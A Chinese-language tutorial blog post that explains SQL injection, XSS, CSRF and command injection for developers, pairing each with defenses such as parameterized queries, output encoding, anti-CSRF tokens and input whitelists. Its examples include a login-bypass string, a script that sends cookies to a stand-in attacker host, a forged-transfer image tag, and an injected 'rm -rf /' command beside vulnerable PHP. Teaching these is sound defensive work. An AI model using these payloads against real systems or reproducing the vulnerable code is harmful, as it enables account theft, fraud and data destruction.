一次搞懂 SQL Injection, XSS, CSRF 與 Command Injection 四大網站安全漏洞

當我們精心打造一個網站或應用程式時,就像建築師蓋起一棟美麗的房子。我們專注於它的外觀、功能與使用者體驗。但如果忽略了門窗的鎖,再華麗的房子也可能被輕易闖入。在網路世界裡,這些「鎖」就是資訊安全防護。

本篇文章將帶領大家認識四種最常見、也最基礎的網站安全漏洞:SQL Injection、XSS、CSRF 與 Command Injection。它們就像是數位世界裡的小偷與駭客最愛用的幾把萬能鑰匙。

什麼是網站安全漏洞?

網站安全漏洞(Web Security Vulnerability)是指網站應用程式在設計或實作上的缺陷,讓攻擊者有機會執行惡意行為,例如竊取資料、癱瘓服務,或欺騙使用者。

接下來,我們來逐一說明這四個網站安全漏洞。它們主要屬於「Application Security (應用程式安全)」的範疇,而 Application Security 又是「Cyber Security (資訊安全)」的核心支柱之一。

  • 漏洞的根源:這四種漏洞都源自於應用程式的程式碼撰寫不安全或設計有缺陷。它們不是因為路由器設定錯誤或網路傳輸協定(如 TCP/IP)本身有問題而產生的。

  • 攻擊的層級:它們都發生在 OSI 模型的第 7 層——應用層。攻擊者是透過與網站應用程式互動(例如提交表單、點擊連結)來發動攻擊。

1. SQL Injection (SQL 資料隱碼攻擊)

  • 攻擊原理:當應用程式需要與資料庫溝通時(例如,使用者登入、查詢商品),它會發送 SQL (Structured Query Language) 指令。如果程式沒有妥善過濾使用者的輸入,攻擊者就可以在輸入欄位中「注入」惡意的 SQL 指令,讓資料庫誤以為這是合法的指令,從而執行一些不該做的事。

  • 攻擊情境
    想像一個登入表單,原本的 SQL 查詢可能長這樣:

    SELECT * FROM users WHERE username = '使用者輸入的帳號' AND password = '使用者輸入的密碼';
    

    如果攻擊者在密碼欄位輸入 ' OR '1'='1,整個 SQL 指令就會變成:

    SELECT * FROM users WHERE username = 'some_user' AND password = '' OR '1'='1';
    

    由於 '1'='1' 永遠為真(True),這個查詢條件就相當於「密碼無論如何都正確」,攻擊者因此成功繞過驗證,直接登入系統。更糟的是,他們還可能用來刪除整個資料庫 (DROP TABLE)!

  • 防禦策略

    • 參數化查詢 (Parameterized Queries) / 預處理陳述 (Prepared Statements):這是最有效的方法。它會先將 SQL 指令的「模板」發送到資料庫,再把使用者的輸入當作「參數」傳入。這樣一來,資料庫就能明確區分「指令」和「資料」,惡意輸入只會被當成純文字資料,無法被執行。
    • 輸入驗證 (Input Validation):檢查使用者輸入的格式是否符合預期(例如,信箱格式、數字格式)。

2. Cross-Site Scripting (XSS, 跨站腳本攻擊)

如果說 SQL Injection 攻擊的是「後端資料庫」,那麼 XSS 攻擊的目標就是「前端使用者」。

  • 攻擊原理:攻擊者將惡意的 JavaScript 腳本注入到一個網站中。當其他使用者瀏覽到含有這段惡意腳本的頁面時,腳本就會在使用者的瀏覽器上執行。

  • 攻擊情境
    在一個有留言板功能的網站上,攻擊者發表了一篇含有惡意腳本的留言:

    <p>這是一篇很棒的文章!</p>
    <script>
      // 這段惡意腳本會竊取你的 cookie 並傳送到攻擊者的伺服器
      fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
    </script>
    

    當下一個訪客(例如你)瀏覽這篇留言時,瀏覽器會毫不懷疑地執行這段 <script>。攻擊者就能輕易偷走你的登入憑證 (Session Cookie),冒用你的身份進行操作。

  • 防禦策略

    • 輸出編碼 (Output Encoding):這是防禦 XSS 的關鍵。在將使用者輸入的內容顯示到頁面上之前,必須對特殊字元進行編碼。例如,將 < 轉換成 &lt;,將 > 轉換成 &gt;。如此一來,瀏覽器只會將其當作純文字顯示,而不是執行它。
    • 內容安全策略 (Content Security Policy, CSP):透過設定 HTTP Header,告訴瀏覽器只信任並執行來自指定來源的腳本,有效阻擋非預期的腳本執行。

3. Cross-Site Request Forgery (CSRF, 跨站請求偽造)

CSRF 是一種非常狡猾的攻擊,它「借用」了你的身份去辦壞事。

  • 攻擊原理:攻擊者誘騙一個已經登入某網站的使用者,在不知情的情況下,點擊一個惡意連結或載入一個惡意頁面。這個惡意頁面會向使用者已登入的網站發送一個偽造的請求(Request)。由於這個請求是從使用者自己的瀏覽器發出的,且會自動帶上該網站的 Cookie,因此被攻擊的網站會認為這是使用者本人的合法操作。

  • 攻擊情境

    1. 登入了網路銀行 mybank.com
    2. 接著,收到一封 Email,標題是「快來看可愛貓咪!」,裡面有一個連結指向 evil-cat-site.com
    3. 點擊了連結,evil-cat-site.com 的頁面裡藏了一段程式碼,例如一個看不見的圖片:
      <img src="https://mybank.com/transfer?to=attacker&amount=10000" width="1" height="1">
      
    4. 瀏覽器為了載入這張「圖片」,會向 mybank.com 發出一個轉帳請求,並且自動附上你的登入 Cookie。
    5. 銀行伺服器收到請求,驗證 Cookie 後認為是你本人的操作,於是就把錢轉出去了。整個過程你可能毫無察覺。
  • 防禦策略

    • 使用 Anti-CSRF Token:這是在伺服器端產生一個隨機、無法預測的 Token,並將其放在表單中。當使用者提交表單時,伺服器會驗證這個 Token 是否正確。由於攻擊者在 evil-cat-site.com 上無法得知這個 Token,他偽造的請求就會因為缺少或 Token 錯誤而被拒絕。
    • 檢查 Referer Header:檢查請求的來源頁面是否為合法的網域,但此方法可能被繞過。
    • 使用 SameSite Cookie 屬性:將 Cookie 設置為 SameSite=StrictSameSite=Lax,可以限制 Cookie 在跨站請求中被發送,是現今瀏覽器的主流防禦方式之一。

4. Command Injection (命令注入攻擊)

這種攻擊的危險性與 SQL Injection 不相上下,但它攻擊的目標是「伺服器的作業系統」。

  • 攻擊原理:當應用程式需要呼叫作業系統的命令(例如 pinglsrm 等),且直接將使用者的輸入作為命令的一部分時,攻擊者可以注入額外的系統命令,讓伺服器執行意料之外的操作。

  • 攻擊情境
    網站提供一個功能,讓使用者可以 PING 一個 IP 位址來檢查網路狀況。後端程式碼可能是這樣的 (以 PHP 為例):

    $ip = $_POST['ip_address'];
    system("ping -c 4 " . $ip);
    

    如果攻擊者輸入的 IP 是 8.8.8.8; rm -rf /,那麼在伺服器上執行的命令就會變成:

    ping -c 4 8.8.8.8; rm -rf /
    

    系統會先執行合法的 PING 指令,然後接著執行 rm -rf /(刪除根目錄下所有檔案)這個毀滅性的指令。

  • 防禦策略

    • 避免直接呼叫系統命令:盡可能使用語言內建的函式庫或 API 來完成功能,而不是拼接字串去呼叫系統命令。這是最安全的做法。
    • 嚴格的輸入白名單 (Whitelist):如果非得使用系統命令,務必建立一個「白名單」,只允許輸入符合特定格式的字元(例如,只允許數字和點 .),過濾掉所有其他特殊字元(如 ;, |, & 等)。

四大網路安全漏洞比較

漏洞類型 攻擊目標 攻擊手法簡述 主要防禦策略
SQL Injection 後端資料庫 在使用者輸入中注入惡意 SQL 指令,欺騙資料庫執行。 參數化查詢 (Prepared Statements)
XSS 前端使用者瀏覽器 在網頁中注入惡意 JavaScript,在他人瀏覽器上執行。 輸出內容編碼 (Output Encoding)
CSRF 已登入的使用者 誘騙使用者點擊連結,以其身份向伺服器發送偽造請求。 使用 Anti-CSRF Token
Command Injection 伺服器作業系統 在使用者輸入中注入惡意系統命令,讓伺服器執行。 避免呼叫系統命令 / 嚴格白名單驗證

總結

網站安全是一場永無止境的攻防戰。今天介紹的四種漏洞只是冰山一角,但它們是每個開發者都必須掌握的基礎知識。了解攻擊者的思維,才能更好地設計出堅不可摧的防禦工事。

記住,安全的程式碼不是「寫完就好」,而是在開發的每一個環節中,都將安全性放在心上。讓我們一起努力,打造一個更安全、更值得信賴的網路世界!